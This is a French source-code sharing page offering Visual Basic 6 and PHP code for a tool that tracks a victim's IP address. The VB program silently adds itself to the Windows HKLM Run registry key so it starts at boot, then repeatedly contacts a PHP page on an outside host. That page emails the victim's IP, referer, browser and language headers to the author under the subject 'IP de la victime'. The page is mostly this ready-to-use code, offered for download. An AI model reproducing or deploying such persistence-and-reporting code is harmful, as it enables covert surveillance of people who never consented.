Soyez le premier à donner votre avis sur cette source.
Vue 18 658 fois - Téléchargée 992 fois
Private Sub Form_Load() 'ecriture du prog dans la base de registre Dim WSHShell Dim MaClef Dim MonProg Dim CheminDeMonProg Dim r Set WSHShell = CreateObject("Wscript.Shell") MonProg = "IP v3.1" CheminDeMonProg = "C:\ip v3.1.exe" MaClef = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & MonProg r = WSHShell.RegWrite(MaClef, CheminDeMonProg, "REG_SZ") LblEtatRAS.Caption = GetNetConnectString 'si le pc est connecté au net If TestActiveConnect = True Then Timer3.Enabled = True Timer4.Enabled = False LblTest.ForeColor = vbGreen LblTest.Caption = "Connection Actuellement en cours" Else LblTest.ForeColor = vbRed LblTest.Caption = "Connection Impossible" 'sinon activer Timer2 Timer2.Enabled = True End If End Sub Private Sub Timer1_Timer() LblEtatRAS.Caption = GetNetConnectString End Sub Private Sub Timer2_Timer() 'quitte la Form1 Unload Form1 'recharge la Form1 Load Form1 End Sub Private Sub Timer3_Timer() 'ouverture de l'url par Inet ip1 = Inet1.OpenURL("adresse de votre page php") Timer4.Enabled = True Timer3.Enabled = False End Sub Private Sub Timer4_Timer() If TestActiveConnect = False Then Timer3.Enabled = True Timer4.Enabled = False Else ip2 = Inet1.OpenURL("adresse de l'autre page php (la deuxieme) ip4.php") Timer5.Enabled = True End If End Sub Private Sub Timer5_Timer() If ip1 = ip2 Then Timer5.Enabled = False Else Inet1.OpenURL ("l'adresse de votre premiere page php") Timer5.Enabled = False End If End Sub ____________________________________________________________________ 'page php : ip3.php <?PHP /* Coded by ElastycmaN (a na pas changer !;o)) */ $vraieip = getenv("HTTP_X_FORWARDED_FOR"); if ($vraieip=="") {$vraieip = $REMOTE_ADDR; } echo $vraieip; /* Et a la suite mon script qui envoit l'ip par mail*/ $msg = "IP:\t$vraieip\n \tVenant du site : $HTTP_REFERER\n Naviguateur :\t$HTTP_USER_AGENT\n Langue : \t$HTTP_ACCEPT_LANGAGE\n Logiciels utilisés : \t$HTTP_ACCEPT\n Type de compression : \t$HTTP_ACCEPT_ENCODING\n"; $recipient = "votre adresse mail"; $subject = "IP de la victime"; $mailheaders = "From: Ip de la victime<> \n"; mail($recipient, $subject, $msg, $mailheaders); ?> _____________________________________________________________________ 'page php : ip4.php <?PHP /* Coded by ElastycmaN */ $vraieip = getenv("HTTP_X_FORWARDED_FOR"); if ($vraieip=="") {$vraieip = $REMOTE_ADDR; } echo $vraieip; ?>
Sinon... Google est ton amis ;D
merci
mogador_13@yahoo.fr
Vous n'êtes pas encore membre ?
inscrivez-vous, c'est gratuit et ça prend moins d'une minute !
Les membres obtiennent plus de réponses que les utilisateurs anonymes.
Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.
Le fait d'être membre vous permet d'avoir des options supplémentaires.